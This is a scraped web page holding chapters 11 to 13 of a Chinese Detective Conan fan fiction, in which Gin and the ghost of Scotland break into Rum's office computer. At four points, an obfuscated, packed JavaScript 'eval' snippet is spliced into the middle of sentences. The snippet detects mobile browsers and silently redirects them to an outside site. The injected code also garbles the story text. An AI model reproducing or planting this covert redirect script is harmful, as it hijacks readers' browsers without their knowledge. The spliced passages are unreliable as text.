望着琴酒戏谑的眼神,苏格兰知道自己的猜测没错,这家伙确实是把他当宠物逗弄。 可恶! 苏格兰原本不想妥协,可稍一吸气,檀香幽深的味道便争先恐后钻进鼻腔,经过喉管,深入肺腑。 自从恢复意识,苏格兰就没正经进食,刚才又勉强长时间附身人体,早该好好补充营养。 他垂在身侧的手紧了又松,最终还是选择向欲.望低头。 苏格兰靠近香,不断交换着吐息。朦胧的烟雾顺着他轻启一条缝的嘴唇渗进去,伴随他滚动的喉结,香消耗的速度越来越快。 苏格兰的灵体从刚开始的近乎透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032472|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明到后来凝得越来越结实。 从琴酒角度,还能看到苏格兰浓密轻颤的睫毛,和脸上一点点屈辱的表情。 到后来,这屈辱的表情褪去,取而代之的是类似昨晚的餍足。 琴酒想到那种不设防,会把肚子露给陌生人的流浪猫。苏格兰不也一样?所以才会被赤井秀一轻易地杀掉。 思及此,琴酒心底的恶意像烧开的水咕嘟咕嘟冒出来。 他注视苏格兰头顶的发旋,“不知道这玩意儿有什么好吃,可能得等我死了才懂?” 果然,听到这话的苏格兰立刻停止进食,抬起阴沉的脸直勾勾望向琴酒,“我又是哪儿得罪你了?” 琴酒看进他圆润的猫眼,“我不喜欢别人在我面前擅自行动。” 苏格兰一下回忆起早晨射击场的插曲,想也不想叫道:“但救人是最基本的!” “呵?你,救人?” “你救人只不过是因为失忆,以为人一死,生前做过的事就能一笔勾销?” “……你这话什么意思?” 一股不安袭上苏格兰心头。他确实考虑过自己身份,又亲眼目睹同组织的琴酒试图暗杀。 琴酒看出苏格兰的惶恐,冷笑:“没什么。如果你真好奇,不妨去求求朗姆,他老家伙的记性可比你好得多。” 说完,琴酒徒手掐灭还剩1/3的香,把香炉扔在桌上,转身就走。 两人间短暂的和谐像被熄灭的香烟消云散。 砰—— 几秒后,留给苏格兰的,是一声震耳欲聋的关门声。 “……” 苏格兰站在原地,脑中不断盘旋一个问题—— 他生前到底是个怎么样的人? 11.Ch11. 两幅面孔 《琴酒的阴湿鬼男友》 /系田 下午,琴酒和那群没代号的兔崽子们挤在狭小的办公室。空调动力不够,房间里潮湿闷热,连平时耐热的琴酒都大汗淋漓。 他们在处理这个月的进出货清单,不是什么有价值的事儿,但品类数量繁多。 不一会儿,仲原伸着懒腰抱怨起来:“哎,这种日子什么时候是个头啊?” 他转头看向最后的琴酒,眉眼间带着掩不住的好奇,“对了,黑泽先生,得到代号的话,日子会好过很多吧!” 听到这话,其余人的动作也纷纷慢下来。他们或光明正大,或遮遮掩掩,都往琴酒这边儿瞧。 琴酒慢悠悠抬头,不动声色问:“你说的‘好过’指哪种?” “呃……就‘钱多事儿少’?” 琴酒环顾一周,把众人期冀的表情尽收眼底,“某种程度上是的。你得到代号,在比现在危险百倍千倍的任务中丧了命,自然就不用管其他事情。” 这话像一桶冰水兜头浇下,大家都不说话,办公室的气温也跟着骤降几度。 琴酒对他们的反应并不意外。本来就有很多人不清楚“代号”的含义,就挤破脑袋往里冲。 就像世界上很多人,浑浑噩噩也度过了一生。 琴酒敲击键盘的手不停,脑海里却想起那个一时不察,被赤井秀一杀掉的蠢货。 自从中午那段插曲,他的身边就再没见到那个烦人的白影。 他大概知道对方现在在哪儿。 真期待你知道真相后的样子——前代号成员。 『苏格兰』 * 和底楼形成鲜明对比的,是朗姆的办公室。只比乌丸低一层,宽敞明亮,太阳从硕大的落地窗斜射进来,却不会太热。房间里冷气充足,轻易制造出人体适宜的办公温度。 然而,此刻的室温比平时还更冷一些,因为鬼魂形态的苏格兰正直挺挺飘在朗姆的旋转椅后面。 他运气不错,正好碰上朗姆使用电脑,亲眼看着对方把开机密码一个字母一个字母输进去。 主机壁纸是一家名为『仲夏夜之梦』的餐厅,餐厅门口站着个橘红色波浪卷发,笑容爽朗,穿碎花连衣裙的女人。看起来像是偷拍的。 苏格兰记住密码,还在继续观察,宾加敲门进入。 他脸色泛白,不同于面对琴酒的趾高气昂,现在的他略微垂头,神色恭敬,甚至谦卑。 朗姆熄灭电脑,一眼看见宾加指间的纱布。 “你这是怎么了?” 随后,宾加添油加醋复述了上午在射箭场发生的事。故事在他嘴里演化出完全相反的版本,主动挑衅的那个从他变成琴酒。 “……就是这样,朗姆大人。” 朗姆听罢,沉思几秒。 作为上午事件的亲历者,又是办公室里看不见的存在。苏格兰因宾加的谎言胸口起伏,他气势汹汹冲到宾加面前,强大的气流让朗姆办公桌上的地球仪都发生些许旋转。 朗姆惊诧地瞥一眼,伸手扶稳。 他像有强迫症,仔细把地球仪面向他的那一方调整到和先前分毫不差的位置,这才抬头,看向宾加。 “朗姆大人,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036935|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有觉得您房间有点太冷?”宾加搓起胳膊。 朗姆温和一笑:“是吗?可能我年纪大了,对温度的感知比较迟钝。” 这话听得宾加神色一僵,在宾加身旁的苏格兰却恍然回神。 刚才被诋毁的是琴酒,又不是他本人。他何必义愤填膺? 苏格兰很快反应,他之所以动怒,不是为了琴酒,而是他本身就是个嫉恶如仇,讨厌撒谎的人! 朗姆像没看出宾加的异常,和颜悦色问:“那宾加觉得,‘全年龄识别’系统的任务该怎么办呢?” 一时间,宾加眉眼的惶恐更甚。 “朗姆大人,我伤得不重,完全可以胜任……”说着,他竟要当朗姆的面拆下纱布,展示伤口! 朗姆摆摆手拒绝他,“没什么好紧张的。库拉索死后,你是我最看好的手下。你当务之急就是回去养伤,其他的都可以延后。” 宾加眨眨眼,露出朗姆预料中的自鸣得意。 朗姆轻易把宾加哄得离开,门关上后,走廊里的脚步声也逐渐消失。他突然沉下脸,把桌上的钢笔茶杯一扫而光。 轰—— 东西砸在地上,发出震耳欲聋的声响,但朗姆办公室的隔音极好,并不会让外面因此起疑。 朗姆一只手死死抓着桌角,咬牙切齿,“成事不足,败事有余的废物!” 这说的,显然是刚离开的宾加。 苏格兰站在朗姆面前,目睹几秒前还笑容和善的老人转瞬露出阴鸷的脸孔。 他面色错愕,进而胆寒。 他似乎做错了一件很严重的事。 12.Ch12. 人性尚存 《琴酒的阴湿鬼男友》 /系田 夜深人静,组织的总部大楼也一并陷入沉寂。 朗姆办公室内,散发一片幽光。苏格兰飘在电脑前,迅速用键盘输入下午偷看来的密码。 屏幕闪烁一下,左下角跳出个对话框,一行红字血一般从苏格兰眼前划过,速度太快,他没看清。 好在不一会儿,他就成功进入桌面。 但这次的壁纸是一朵夜空下的玫瑰,玫瑰上方有许多萤火虫亮着尾灯,翩翩起舞。 “怎么跟下午的不一样?”苏格兰呢喃着,疑窦丛生。 同一时间,某寿司店。 接近晚上十一点,这家店的大堂依旧熙熙攘攘,不少刚下班的白领们相约着喝酒放松。 包间里,伏特加和朗姆面对面坐在木桌前,桌上是琳琅满目的各式海鲜。 朗姆边抽雪茄,边用完好的那只眼打量伏特加,顺着传进包间的模糊人声,笑眯眯问:“伏特加有没有想过,如果当初选择做个普通上班族,会是怎么样的生活?” 伏特加笨嘴拙舌,更何况面前是深不可测的朗姆,他不敢作答,坐在冷气充盈的房间,很快就用手帕擦起额头的汗。 那手帕是普通黑色,角落却绣着烫金的花体『YK』,是当红idol冲野洋子最新的巡演周边。 朗姆见状,笑意更深,“不必紧张,我只是一时兴起。”他喷出口烟,从雾气中尽情欣赏朗姆对他的敬畏。 “上回的事不好意思,可能是我太直白,吓到了你。但你今天怎么又去而复返了呢?” 伏特加的记忆回溯。 他和大哥奉命暗杀“年识”专家的前一天,在争执中被宾加塞了张纸。他没能及时交给大哥,思前想后,还是决定私下和宾加了结此事。 没想到,出现在寿司店的居然是朗姆大人。 朗姆言辞委婉,却用钱财、地位还有和洋子小姐成为朋友的机会,利诱他在大哥身旁卧底,伺机破坏“年识”的暗杀计划。 朗姆位高权重,伏特加不敢正面拒绝,搪塞着,直到落荒而逃…… 他缓过神,没戴墨镜,尽量让自己眼神镇定,抬头望向朗姆说:“上次听您说大……琴酒和他师傅的事,我……” 话刚开头,朗姆放在桌上的手机震动,他悠然拿起一看,脸色突变。 信息显示,有人正尝试入侵他的电脑! 朗姆猛地站起,木桌震动,雪茄的烟灰洒落一身。 “……朗姆大人?” 朗姆回以微笑,“抱歉,伏特加。我突然有事要去处理。你想吃什么随便点,我去去就回。” 片刻,偌大的包间只剩浓重的雪茄味,和伏特加一人。他望着紧闭的纸门,默默握紧了拳…… * 约二十分钟后。 苏格兰依旧被困在朗姆办公室。他看过所有可见文档,也尝试用指令调出隐藏文件夹,可始终找不到那份记录代号成员生平的名单。 为什么? 难道东西不在这儿?还是说,琴酒骗了他? 随着时间推移,苏格兰逐渐焦灼。忽然,一阵急促的脚步声从走廊响起。 苏格兰神色一凛,立刻关掉电脑,飘向门口,准备穿越门板的瞬间,房门从外面打开,朗姆和苏格兰一人一鬼撞个正着! 苏格兰吓得当即呆立原地,隔了一秒才想起自己现在是鬼。 一阵穿堂风刮过朗姆身旁,他假发散乱,扶稳的同时,狐疑地向后看一眼。 走廊里静悄悄的,除了他再没别人。 朗姆抬手开灯。 啪—— 亮光迅速填满房间的每处空隙。朗姆眼神一扫,看不出什么异常。 他一边确定兜里的枪,一边快步走到台式电脑边。主机微微发烫,显示入侵者刚刚离开。 看来挺不凑巧。 但以为这样就能全身而退吗? 朗姆嘴角勾起抹残忍的笑,从办公桌的地球仪上拆出个微.型.摄.影.机。他打开机器,拖动进度条,自己离开办公室后发生的一切就真实呈现在眼前。 起初,是窗外昏黄的阳光,而后画面随着夜色慢慢变暗,直到……电脑屏幕突然亮起。 朗姆的眉头皱得死紧,怎么会没拍到入侵者的身影? 难道有人远程操控了他的电脑?这个猜测让朗姆心中大骇,一股暴戾情绪油然而生。 他马上重启电脑。输入密码后,快速虹膜验证。熟悉的背景跳出,是他魂牵梦绕,曾经恋人的近照。 这时,走廊传来声稍纵即逝的异响,朗姆抬头往门外看,桌上的手机也同时亮起。 嗡—— 是一条由无法追溯的太空漫游号发出的短信: 『想找到老鼠,就打开你手机的红外线。』 朗姆不可能听信一个来历不明的人,但这家伙倒给他提了个醒——他可以用手机里的热成像仪更快地抓到“老鼠”。 朗姆打开装置,朝刚才发生异响的走廊追去。 他身影刚消失,隐藏在黑暗多时的琴酒便闪身进入他办公室。一抹银白如流光照亮黑夜。 琴酒快速走到朗姆的电脑前。打开屏幕,老家伙的虹膜验证还在窗口期,他只需输入密码即可。 琴酒戴上黑皮革手套,用一张特制薄膜盖住键盘。很快,薄膜上现出7个清晰的指纹,是朗姆敲击开机密码时留下的。 屏幕上的开机密码共有8个字母,也就是有一个字母重复,那么顺序又该如何? 琴酒环视四周,眼神从书架,转到红酒柜。从刚才开始,就有一股微妙的不协调感缠绕着他——这个地方的布置和他早上来时不同了。 他闭上眼睛,黑暗中,两张办公室的照片缓缓重合,接着出现个微乎其微的瑕疵。 是地球仪的位置! 他猛地睁眼看向地球仪,或许是刚才出门太急,地球仪被撞歪一点。 一段多年前的记忆如潮水涌入琴酒大脑。 他得到代号后不久,师傅斯汀格带他来拜访朗姆。那时的朗姆已经位高权重,还没露出背后阴暗的一面,对他也和颜悦色。 朗姆笑着对琴酒点头,转而埋汰当时的Top Killer斯汀格,“怎么,跟我炫耀自己很快就能退休来了?” 斯汀格不回,反而皱眉盯着静静矗立在办公桌上的地球仪,“他都把你的眼睛打瞎了,你还留着这玩意儿?” 说罢,师傅想去碰地球仪,朗姆眼疾手快拦住,“你可别动。那孩子最想去普罗旺斯,缠着我说了好久。虽然现在去不成了,我也要日日看着这枚地球仪,提醒自己,爬到今天这个位置,牺牲了多少。” 『普罗旺斯』。 Provence。 琴酒快速在键盘上输入密码。 屏幕闪烁一下,不一会儿,出现一行提示:『即将在一分钟内进行环境锚点验证。』 “环境锚点?” 所谓“环境锚点”指的是用监控摄像机每日按固定角度拍摄房间全景,确保没有可疑人员入侵。是约二十年前,特工们常用的监测手段。 这时,琴酒手边的微.型.摄.影.机泛起一道红光,琴酒想起,几分钟前朗姆从地球仪里把它拆下。 他迅速转动地球仪,找到其中极易被忽略的小小凹槽,把摄影机嵌进去。 但角度呢? 所谓的『锚点』,平时是以什么角度拍摄的? 时间一分一秒过去,琴酒知道自己只有一次验证机会。如果失败,不知道电脑又要向那老家伙发送什么提示。 琴酒反刍朗姆的那段呢喃: 『我要日日看着这枚地球仪,提醒自己牺牲了多少。』 地球仪,普罗旺斯。 依靠早上不经意的一瞥,琴酒飞快把地球仪上的普罗旺斯转到朗姆平时视线的水平方向。 咔哒一声。他知道自己转对了。 剩余时间20秒。 琴酒身形如豹,灵敏地躲进身后厚重的淡紫色窗帘,只余一双锐利的眼睛,直勾勾盯着地球仪里的摄影机。 很快,验证开始。 只见那地球仪无风自动,带着摄影机在原地转了一圈,红酒柜、书架、黑色木门、窗帘…… 『环境锚点验证成功』。 朗姆的电脑亮起,进入到『正确』的桌面环节。 琴酒从躲藏的窗帘后闪身而出,快速替换掉微.型.摄.影.机里的储蓄卡,这才把视线投向朗姆的电脑。 映入眼帘的是小餐馆前,一个笑容爽朗的年轻女人。 琴酒嘴角浮起一抹冷笑:“呵,真不愧是朗姆。独处还不忘做戏。” 琴酒按照朗姆的思维习惯试了几个指令,很快找到自己想要的文档——『夺取年识的最新计划书』。 文档加载很慢,琴酒掏出事先准备的U盾边下载边看。突然,藏在开头文字中的一句话吸引了琴酒注意: 『派遣成员卧底,辅助年识系统研发成功,以便验证系统对“那个东西”是否有效。』 “……‘那个东西’是什么?” 琴酒还在思考,放在桌上的手机猛地发出警报。 “哔哔哔——” “哔哔哔——” 琴酒低头一看,监控画面里,朗姆那个老家伙居然去而复返!他抬头瞥眼屏幕,文档的下载进度刚到20%…… 『注意注意!目标人物预计将在1分半钟到达。』 不愧是狡猾的朗姆,这么快识破他调虎离山的计策。 随着朗姆脚步加快,警报的预计时间还在不断缩短。 1分钟,下载进度45%。 50秒,下载进度58%。 40秒,下载进度76%。 30秒,下载进度82%。 眼看文档就要完成下载,琴酒却到了不得不撤离的时候。 “可恶。” 正当他准备拔出U盾,用短时记忆强行记下剩余两页的内容。这时,一直哔哔作响的警报突然恢复安静。 警报解除了? 琴酒抽空看眼手机,监控里的朗姆不知为何又朝着和办公室相反的方向追去…… * 片刻前。 朗姆还在漆黑的走廊追查那声异响,手持的热成像仪却迟迟没动静。 等等! 难道对方的目的是引他出办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040953|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室? 想到这儿,朗姆眉头一皱,赶忙掉转脚步往回跑。 他离办公室越来越近。眼看只有几步之遥,忽然,一阵骇人的寒潮从背后猛扑过来。朗姆吓得打个激灵,有种后颈被人攫住的荒谬感。 他回头望去,伸手不见五指的走廊似乎蛰伏一头野兽,摩拳擦掌着,随时准备把他吞食入腹。 成像仪也在这时出现几个可疑的光点。 朗姆可忍不了被人从背后放暗枪! 他查一眼手机,办公室的监视设备没发出警告,咬了咬牙,摸上枪,又转身朝走廊深处走去。 顺着寒潮,朗姆手上的热成像仪响个不停,上面描绘出的图案越来越似人形,越来越清晰。 他最终停在开了半扇门的储物室前。 他小心翼翼朝里张望,嘴里说着“谁在那儿?只要你乖乖出来,我就原谅你的恶作剧”,手里却把枪悄悄上膛。 啪嗒—— 又是声稍纵即逝的轻响,朗姆警惕回头,却在这个瞬间被猛地推进房内。 外面的插销自动落锁,储物室里的灯同时全部亮起。没等朗姆适应灼眼的光芒,刺耳的警报声响彻耳畔。 “呜呜——呜呜——” 这间堆满物品的房间从天花板到地面都染上鲜红,显然有人通过权限,把房间设置为“危险区域”。 是谁? 难道是琴酒? 不对,琴酒的权限是他亲手移除的。 不等朗姆思考,那震耳欲聋的警报声让心脏突突直跳。 他不得不咬紧牙关,动用身为管理层的最高权限进行一步又一步繁琐的验证…… * 地下停车场 琴酒坐在保时捷内,没开灯。手指上点燃的香烟是此时唯一的光源。那橘色的火星忽明忽暗,时而映照出他橄榄绿如蛇的眼,时而点亮他薄情的嘴唇,衬得整个人似鬼似魅。 好一会儿,车库外恼人的蝉鸣忽然消失。 夜浓如墨,万籁俱寂。 那股熟悉的寒潮犹如蜥蜴,一步步从远处爬来,攀上车窗,在上面留下一层化不开的白雾。 琴酒勾唇一笑,直到苏格兰的鬼魂在副驾驶慢慢显形。 明明这么用心,那不识好歹的鬼一开口却像吃了鞭炮。 “千万别说你在等我。” “如果我说是呢?” 这话像是触及苏格兰的逆鳞。 砰! 正副驾驶的车窗不约而同出现道明显的裂纹。 “啧。别动不动就破坏我的财物。” 下一秒,苏格兰鬼影一闪,正对琴酒的脸。车内空间本就狭小,他们面贴着面,鼻尖几乎顶上鼻尖,是连睫毛都能看清的距离。 可惜这次,苏格兰的面容不如平时温和,他紧皱着眉,五官扭曲,每一寸皮肤都在表达愤怒,好像特地找琴酒索命的厉鬼。 “你等我,就是为了利用我?” 滴答滴答—— 随着愤怒升级,面前的苏格兰竟变成死前可怖的模样。鲜红黏稠的血从他胸口被枪射出的大洞一滴滴流下,淌到琴酒的黑色长裤上。 琴酒低头,说不清是真实或是幻觉。他只觉呼吸困难,不悦地眯了眯眼,从口袋里掏出银质打火机,挑衅似地当着苏格兰的面点燃。 一抹幽蓝火焰乍现,他仔细打量苏格兰的脸,慢悠悠道: “明知被利用,还选择帮我。我该怎么理解?” “你犯贱,还是朗姆和我之间,你更倾向于我?” 一句话,让苏格兰积攒的气泄了大半。他不知道琴酒居然这么厚脸皮! “你……” 琴酒看他“你”了半天都说不出一句话,无趣地掸掸裤子上的烟灰,“好了,又没出什么大事,我们还知道了你会被热成像感应,接下来要更小加小心。” “什么‘要更加小心’……你以为我还会跟你合作?” 琴酒置若罔闻从后座取了张纸,纸刚刚打印,还残留些许墨香。他拿过来捏在手里,“忙也没让你白帮,这是你心心念念生前在组织里的资料。” 听到这话,苏格兰脸上的表情几经变化,先是惊讶,而后怀疑,接着满含期待和犹豫,最后融合成古井一般的冷漠。 “你有什么条件?” 琴酒失笑:“没什么条件,不过你确定要看?” 那担忧的语气没起到任何劝诫,反而让苏格兰内心的好奇愈演愈烈。他没回答,而是一把抢过纸,浮在半空。 琴酒见状,好心点燃打火机凑近,方便苏格兰看得更清。 于是,苏格兰看见那行让他希望破灭的字: 『苏格兰,原名永山光,组织狙击手,枪杀目标5人,被FBI卧底赤井秀一(组织代号黑麦)抹杀。』 “……枪杀五人……” 苏格兰失魂落魄地呢喃。 琴酒不动声色欣赏苏格兰绝望的表情,补充:“我保证档案绝对真实,弄虚作假的事我不屑做。” 但内心深处,他知道这份资料掺杂水分。 因为赤井秀一曾私下跟他吐槽,说自己的搭档枪法不错,只可惜…… 『人性尚存』。 13.Ch13. 暴雨前夜 《琴酒的阴湿鬼男友》 /系田 翌日一早,琴酒没在客厅看见苏格兰的鬼影,他搜索一圈,最后,客卧橱柜上一层可疑的水膜引起他的注意。 几滴水珠正顺着柜门缓缓下滑。 琴酒勾唇一笑,大步流星过去。 啪嗒—— 柜门打开,和煦的晨光被琴酒高大的身躯挡住。他低头,居高临下打量藏在柜子里的鬼魂苏格兰。 苏格兰周遭萦绕水雾,双手环膝,蜷缩身体,犹如母亲子宫里孕育的婴儿,是最具安全感的姿势。 琴酒眉头一挑,“你躲在这儿干什么?” 苏格兰埋首于膝,闷声闷气说:“不用你管。” 苏格兰丧气的模样看得琴酒眉头紧蹙,他故意出声嘲讽:“怎么,知道自己生前的真面目,受不了了?” 这话像溅入油桶的火星,一下点燃苏格兰胸中怒火。他猛地抬头,恶狠狠瞪着琴酒,周身散发出强大灵能,让整个橱柜随之晃动,柜门嘎吱作响,上面水珠瞬间凝结成霜。 这骇人一幕非但没能劝退琴酒,反而更激发他的掌控欲。琴酒跨前一步,不耐烦地直接伸手拽向苏格兰胳膊,“你给我出来!” 谁知那手竟硬生生穿过苏格兰手臂,刺骨的寒冷直抵琴酒骨髓。他打个寒颤,怔愣的同时,无比清晰意识到自己没法用常规手段控制眼前这个男人(鬼)。 这短暂的错愕给了苏格兰可乘之机,积攒的怒火和悲伤凝聚成团,像是拥有实体,朝琴酒猛攻过去! 琴酒躲闪不及,被一下震出橱柜范围。他向后趔趄好几步,才勉强站稳。 砰—— 一声震耳欲聋的噪音,那柜门在琴酒面前不留缝隙,狠狠合上。 “……” 琴酒脸色阴沉地盯着柜门,好半会儿,才“切”了声,转身离开。 * 琴酒如常上班,刚进组织,就被叫去朗姆办公室。 推门而入的瞬间,摄像机红点照上他脸,耳边响起冰冷的女性机械音。 『环境锚点验证中,请保持姿态。』 琴酒脚步不停,没听见般径直走向办公桌。 “验证失败,人员变更:1名。” 他在办公桌前站定,没朝电脑方向看一眼,只盯着真皮座椅里的朗姆,一脸冷漠问:“什么验证失败?” 朗姆把琴酒刚才的反应尽收眼底——太自然了,仿佛压根儿没意识到这是种试探。 他不动声色笑笑:“没事,就是点小把戏。”说着,目光像冰冷的解剖刀划过琴酒脸庞,“倒是你黑泽,脸色这么差,昨晚做贼去了?” 闻言,琴酒漫不经心对朗姆投去一瞥。这一瞥暗含警告,两人一站一坐,琴酒又身材高大,一时间,朗姆竟产生自己身处弱势的错觉。 他压下这种忌惮,清清嗓子:“只是开个玩笑。”随后身体前倾,十指交叉,语气也沉下来,“先说正事——” “昨晚,有人入侵了我的办公室。” 琴酒不搭腔,自顾自走向一旁的土黄色真皮沙发。他撩起风衣下摆落座,翘起长腿,从口袋摸出根烟,夹在指尖点燃。 呼—— 他放到唇边轻吸一口,淡薄的烟雾升起,在两人间形成屏障。 朗姆暗藏玄机的陈述从烟雾的另一边传来: “对方手法娴熟,对我的办公室位置和习惯都了如指掌。我觉得是内部人员所为,你怎么看?” 琴酒唇角扬起抹意味不明的笑,掸掸烟灰,才抬起头,锐利的目光像钉子直射朗姆的脸。 “凭你和我的关系,该不会找我倾诉。所以,你怀疑是我干的?” 这话像把手术刀,瞬间划破两人间虚伪的和谐。 朗姆脸色一僵,唇边的假笑也无法维系。 没想到琴酒居然这么直白。 他还在想该如何回答,沙发上的琴酒却后背靠在沙发上,姿态比刚才更松弛,“那么我倒想请问,朗姆,你这儿有什么东西值得我大费周章?” “……” 琴酒橄榄绿的眼里闪烁着愉悦的恶意: “不过——我很喜欢你现在这种疑神疑鬼的样子。你有多久没担心过下面的人会爬上来,取你而代之?” “没事多想想,变得更年轻,才配得上你那个‘小情人’。” “小情人”三个字像根毒刺,精准地扎进朗姆最不愿被人提及的领域。 他瞳孔骤然一缩,指节捏得发白,手背青筋暴起,刚准备发难,琴酒却没给他爆发的机会。 琴酒利落起身,把还在燃烧的烟头捻灭在朗姆桌上那个昂贵的黄铜烟灰缸里—— “干活去了。” 他转身走向门口,黑色风衣下摆划开凝滞的空气,背影挺拔得不留一丝破绽。 手搭上门把时,琴酒像猛然想起什么,回头对阴影里的朗姆说:“有需要再联系。” …… 朗姆的办公室里一片死寂,唯独电脑屏幕上『验证失败』四个字格外刺眼。 他把视线转向茶几上烟灰缸里那根孤零零的烟,咬牙切齿道:“黑泽阵——胆敢挑衅我,我一定让你付出应有的代价。” * 虽然让朗姆吃了憋,琴酒早上被苏格兰影响的心情却远没有好转。他正在训练那批毫无希望的新人。 他用网球做靶,训练兔崽子们的手感,但能打中的只有曾是体育生的仲原一人,其余人都被网球耍得体无完肤。 额头、脸颊,躯干,甚至男人的关键部位被狠狠抽打。 “啊,啊——” “痛、痛死我了。” 此起彼伏的惨叫响彻整个射击场。 “好了,先休息十五分钟。”琴酒面无表情命令。 话音刚落,基安蒂踩着皮靴,节奏轻快地走进射击场地。 她环顾四周,没找到要找的宾加,只看见一群躺在地上,肚皮朝天的丧家犬。 “啧。” 她走到琴酒身边,“听说宾加连续预定了一个月的射击场练习,我专程来找他比试,他人呢?” “他不会来,真正用场地的是我。” 琴酒言简意赅说了前一天和宾加的赌约。 基安蒂扼腕叹息:“可惜没亲眼看见宾加落败的蠢样,不过,你怎么不让我帮忙预订?” 不等琴酒回答,基安蒂又幸灾乐祸地扬唇笑起来:“噢,我知道了。你是不想让昔日下属看到你狼狈的样子吧?” 琴酒冷冷睨她,视线在她皓白的手腕停留一瞬。基安蒂见状,立刻会意:“你以为我把你的话当耳旁风?我有在好好练。但在手上戴沙包的主意太土,我就在手镯里加了铅块,你看。” 说着,基安蒂脱下铆钉手镯就往琴酒手里递,琴酒稍一掂量,随手放在消防箱上,朝场中央走去。 “……什么嘛,一句表扬都没有?” 基安蒂不满地撇撇嘴,也提步跟上,见琴酒要让那群新人恢复训练,一马当先超过他冲到前面。 “我好不容易来一趟,先让我练两把再说。” 她捡起两把新人随手丢在地上的枪,走进场内,把发球机时速调到最高。 机械的嗡鸣声陡然变大。 基安蒂背对发射机,双手自然垂在身侧。 “咻!”第一颗球射出! 她甚至没转身,仅凭声音判断,右手闪电般抬起。 “砰!” 黄球在空中炸成碎片。 几乎同时,左手枪响——“砰!”第二颗球碎裂。 “咻咻咻——!”发射机进入连发模式,三颗球同时射出! 基安蒂终于转身,动作依旧从容,两把枪在她身前交错成一道黑叉。 “砰砰砰!” 三声重叠的枪响,所有球同时化为齑粉。 新人们看傻了眼。 这幅场景极大程度取悦了基安蒂的虚荣心。她志得意满笑着,直到琴酒走过来卸了她的枪。 “爽了?爽完就赶紧走,别在这儿碍手碍脚。” “切。” 她充耳不闻走到场中央,装模作样朝新人训话:“这个叫琴酒的家伙枪法确实拔尖,但不怎么会教人。你们啊——最好做足心理准备。” 听到这话的新人个个面如土色,被埋汰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048042|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的琴酒却不甚在意,等基安蒂走远,又板着脸对还在大喘气的新人们说:“愣着干什么?赶紧爬起来继续练!” …… 射击训练结束,大家身上都酸痛不已,更有甚者青一块紫一块,走路稍微碰到都会嗷嗷大叫。 这天晚些时候,几个新人在办公室外等琴酒出来,一见到人却扭扭捏捏,互相推搡着,没人开口。 琴酒大概猜到他们的来意,不动声色问:“怎么了?” 迫于面前强大的气场和眼神,其中一个支支吾吾道:“呃,黑泽先生,明天我们的训练能不能……能不能减……” 最重要的“轻”字还没出口,琴酒眼睛一眯,对方顿时吓得说不出话。 琴酒看笑了:“想得到代号,就要会开枪自卫。连这都嫌累,还不如趁早断了心思给我滚。” 有三个人当场选择脱退,其余几个则不敢反驳,逃也似地跑了。 琴酒蔑视他们的背影,隔一段距离,横田犹犹豫豫站在那儿。 琴酒郁气未散,快步走上去,问也不问一句说:“你也是来求饶的?” 横田吓了一跳,在原地愣好几秒,才反应过来连连摆手:“不,不是。我就是……” “有话直说!” “……是!听说昨天,我和您一起处理了宾加大人的伤口。但我完全不记得,只觉得当时像被魇着了浑身发冷,头也晕晕的。他们说我可能被鬼上身了。” 琴酒眉头紧皱,“说重点。” “……我主要怕黑泽先生因此对我抱什么不切实际的期待,所以……” 琴酒嘲讽的笑又爬回嘴角,“说了这么多,还不是发表‘无责任声明’?在做一件事之前,就预设自己做不好……” 谁知,听到这话的横田猛然抬头反驳:“不是的!虽然现在的我还不行,但我会加倍努力,只是想请您多等一会儿。” “对!” 他憋得满脸通红,小狗似的茶色瞳仁灼灼凝望琴酒,里面燃烧着团火,是执拗、天真,还有率直。 琴酒不合时宜地想起苏格兰,那个口口声声阻挠他杀人,以为自己代表正义,却在得知真相后陷入绝望的男鬼。 “蠢货。”他暗骂一声。 “什、什么?” 琴酒回过神,瞥横田一眼,“想得到,光努力可不够。” 